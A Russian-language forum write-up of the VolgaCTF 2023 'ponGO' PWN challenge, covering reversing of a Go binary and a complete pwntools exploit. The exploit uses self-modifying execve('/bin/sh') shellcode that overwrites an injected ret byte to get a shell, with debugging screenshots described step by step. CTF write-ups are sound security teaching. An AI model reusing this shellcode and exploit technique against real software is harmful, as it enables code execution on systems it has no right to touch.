CTF Мой первый решенный исполняемый PWN на Go. VolgaCTF 2023 Qualifie, ponGO PWN

Ку, киберрекруты. На днях прошелы квалификацию на финал от VolgaCTF. Мне очень понравилось задание из категории PWN под названием panGO.

pwn.png

Описание к заданию:

1684257608929.png


Из описания очевидно, что исполняемый файл написан на языке Go.

Начнем

Первым делом проведем разведку бинаря.
Через команду file, можно удостовериться, что он и в самом деле написан на языке Go и имеет разрядность x64:

Код:
$ file pongo
pongo: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=Dz-Zak7yoXtjL4dI514X/d-dYG7rvd8sUmvrfmC_6/cUhYGDc4jTE6D_jWdyMj/uChabMmUmP_12iZKjc90, with debug_info, not stripped

Дальше проверим на защиты используя checksec:


Код:
$ pwn checksec pongo

    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Отключена рандомизация адресов, нет канарейки и отключен RELRO. Это хорошо, потому что если нужно будет оформить ропчик, то долго потеть не придется. Проверим еще на упаковщик:

Код:
xxd pongo | grep UPX

Результатов нет, поэтому живем. Последнее, что осталось, так это проверить на наличие функции, по тиму mmap(), потому что в описании сказано, что надо загрузить шеллкод. Для просмотра импорта функций юзану radare2. Запускаю его так:

Код:
r2 -d ./pongo

Конечно же, оформляю анализ бинаря командой aaa и пишу команду afl результат такой:

Код:
...
0x0047ddc0   14    762 sym.syscall._mmapper_.Mmap
...

Информацию о файле получил. Теперь, пожалуй, настало время запустить бинарь и поиграться с ним.

Код:
./pongo

Код:
&{[0 0 0 0 0 0 0 0] [0 0 0]}
Choose your option:
1. Set footer
2. Set shellcode
3. Run shellcode
[INPUT] >>>

Первым делом, заметим хэдер меню - &{[0 0 0 0 0 0 0 0] [0 0 0]} . Первая мысль об этом - структура. Выберем, например, 1 и сможем выбрать какой-то footer и записать туда данные. Причем выбрать footer можно только в диапазоне от 0 до 2 включительно. Вкид такой, что это массив, причем скорее всего в структуре его второе место:

Код:
&{[0 0 0 0 0 0 0 0] [0 0 0]}
Choose your option:
1. Set footer
2. Set shellcode
3. Run shellcode
[INPUT] >>> 1
[INPUT] Choose position in footer (0-2): 0
[INPUT] Choose footer num: -1

Теперь попробуем выбрать 2 пункт и ввести 8 букв A:

Код:
Choose your option:
1. Set footer
2. Set shellcode
3. Run shellcode
[INPUT] >>> 2
AAAAAAA

Последний шаг - запуск. Тут увидим крах проги:

Код:
Choose your option:
1. Set footer
2. Set shellcode
3. Run shellcode
[INPUT] >>> 3
unexpected fault address 0x7f2fa52e9000
fatal error: fault
[signal SIGSEGV: segmentation violation code=0x2 addr=0x7f2fa52e9000 pc=0x7f2fa52e8fff]
...

Ну, настало время реверса.

Реверс

Буду использовать radare2 и edb.

Среди функций можно обнаружить самые интересные для нас:

Код:
0x0048ef00   15    303 sym.main.run_shellcode
0x0048f040    5    533 sym.main.set_footer
0x0048f260   13    811 sym.main.main

Перейдем же к sym.main.main командой s sym.main.main; pdf и дальше наберем VV , чтобы удобнее было анализировать блоки.

Блок кода для функции footer():

1684259258815.png


Перейдем к ней, чтобы узнать адрес, куда записываются введеные данные. В самом конце выполнения функции, введеные данные где-то сохраняются в памяти и адрес передается регистру rcx, адрес этой инструкции - 0x0048f211:

1684259489796.png



Это нам понадобится для дальнейшей отладки. Теперь перейдем к функции sym.main.run_shellcode. Там нас инетересует выделение памяти, а точнее адрес этой памяти. Что происходит с наши вводом и скорее всего запуск шелла. При запуске функции сразу же выделяется память с правильными аргументами к фукнции, которая очень похожа на mmap():

1684259683645.png


Она выделяет память и делает ее RWX, а адрес памяти возвращается в регистр rax, поэтому тоже запомним адрес инструкции - 0x0048ef45. Судя по коду, он просто копирует данные со структуры в новую память. Однако, больше всего нас интересует последний блок:

1684259826759.png


Видим, call rax тут и вызывается наш шеллкод.

получили общее представление о бинаре. И что имеем:
  • Есть какой-то footer, который пока не понятно как юзануть
  • Можно вполнить шеллкод и его размер должен быть ровно 8 байт
Вся суть таска, на самом деле, заключается имменно в последнем блоке. Есть инструкция, которая срабатывает прямо перед call rax, и именно она делает ограничение на размер шеллкода:

Код:
mov byte [rbx + rax], 0xc3

Она в 9 позицию записывает инструкцию ret = 0xC3 , таким образом делает разграничение между массивом интов и шеллкодом. Это необходимо обойти, потому что размер шеллкода увеличится в размерах до 33 байт!!!
Идея такая: пишем самомодифицириющийся код:
  1. Сначала меняем байт C3, на какой-нибудь полезный(да хоть на NOP = 0x90)
  2. Вместо чисел запишем части шеллкода
  3. Выполнем его
Пишем эксплойт

Начну с написания шеллкода. Первая строка шеллкода будет инструкция которая меняет инструкцию RET:

Makefile:
mov byte [rbx+8], 0xC4
,где 0xC4, будет являеться составной частью инструкции inc ah. Дальше, думаю, нет смысла описывать как писать шеллкод для получения RCE:

Код:
BITS 64

section .text
global _start

_start:
    mov byte [rbx+8], 0xc4
    push 0x42
    pop rax
    inc ah
    push rdx
    mov rdi, 0x68732f2f6e69622f
    push rdi
    push rsp
    pop rsi
    mov r8, rdx
    mov r10, rdx
    syscall

Теперь главное правильно записать скомпиленный шелл в интовый массив. Первые 8 байт от этого шеллкода обрежем и запишем в первую часть payload:

Python:
pl = b'\xc6\x43\x08\xc4'
plShell = b'\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05'
pl += plShell[:4]

Потом парсим шеллкод и пишем в переменные, которые будет отправлять элементам массива:

Python:
num1 = u64(plShell[5:13])
num2 = u64(plShell[5+8:13+8])
num3 = u64(plShell[5+8+8:13+8+8])

Записываем их в массив:

Python:
io.sendlineafter(b'[INPUT] >>> ', b'1')
io.sendlineafter(b'(0-2): ', b'0')
io.sendlineafter(b'num: ', str(num1).encode())
io.sendlineafter(b'[INPUT] >>> ', b'1')
io.sendlineafter(b'(0-2): ', b'1')
io.sendlineafter(b'num: ', str(num2).encode())
io.sendlineafter(b'[INPUT] >>> ', b'1')
io.sendlineafter(b'(0-2): ', b'2')
io.sendlineafter(b'num: ', str(num3).encode())

И последняя часть, отправка первой части шеллкода:

Код:
io.sendlineafter(b'[INPUT] >>> ', b'2')
io.sendline(pl)

io.sendlineafter(b'[INPUT] >>> ', b'3')

Таким образом полный сплойт:

Python:
from pwn import *

exe = context.binary = ELF('./pongo')

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.EDB:
        return process(['edb','--run',exe.path])
    else:
        return process([exe.path] + argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak *0x{exe.entry:x}
continue
'''.format(**locals())

io = start()

pl = b'\xc6\x43\x08\xc4'
plShell = b'\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05'
pl += plShell[:4]

num1 = u64(plShell[5:13])
num2 = u64(plShell[5+8:13+8])
num3 = u64(plShell[5+8+8:13+8+8])
io.sendlineafter(b'[INPUT] >>> ', b'1')
io.sendlineafter(b'(0-2): ', b'0')
io.sendlineafter(b'num: ', str(num1).encode())
io.sendlineafter(b'[INPUT] >>> ', b'1')
io.sendlineafter(b'(0-2): ', b'1')
io.sendlineafter(b'num: ', str(num2).encode())
io.sendlineafter(b'[INPUT] >>> ', b'1')
io.sendlineafter(b'(0-2): ', b'2')
io.sendlineafter(b'num: ', str(num3).encode())

io.sendlineafter(b'[INPUT] >>> ', b'2')
io.sendline(pl)

io.sendlineafter(b'[INPUT] >>> ', b'3')

io.interactive()

Теперь поробуем продебажить, используя EDB:

Код:
$ python sploit.py LOCAL DEBUG EDB

Сделаем точки останова на адресах:
  • 0x0048ef45 - mmap
  • 0x0048f211 - запись данных в массив
Нажав F9 переходим сразу к первой записи в массив:

1684261413891.png


В регистре теперь находится адрес памяти, куда записали часть шеллкода. Нажмем на F9 еще 2 раза и получим такой результат:

1684261611930.png


Следующее нажатие перенесет в интрукцию сразу же после mmap():

1684261666472.png


Перейдем по адресу, который находится в регистре rax:

1684261750562.png


По участкам памяти(Memory Regions) можно понять, что это память является RWX:

1684261801107.png


Дойдем до вызова шеллкода и просмотрим память:

1684261836626.png


Отлично! Весь шеллкод в новой RWX памяти. Теперь выполним инструкцию, которая перезаписывает 9 байт:

1684261906999.png


И сразу прыгаем в шеллкод:

1684261934795.png


Как можно увидеть, байт C3 нам попортил инструкцию inc ah, однако после первой инструкции байт перезапишется:

1684262001599.png


Доходим до syscall и получаем RCE:

1684262036975.png


Код:
$ whoami
afanx
$

Таск на самом деле прикольный, потому что:
  1. ПыВН Go бинаря и в самом деле необычно
  2. Прикольная идея с самомодифицирующемся кодом
 
Последнее редактирование модератором:

B13

Заблокирован
01.01.2020
412
55
BIT
134
я читал эти статьи и сам работал с данным инструментом. Инструмент довольно интересный в правильных руках и пониманием того как нужно с ним работать.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!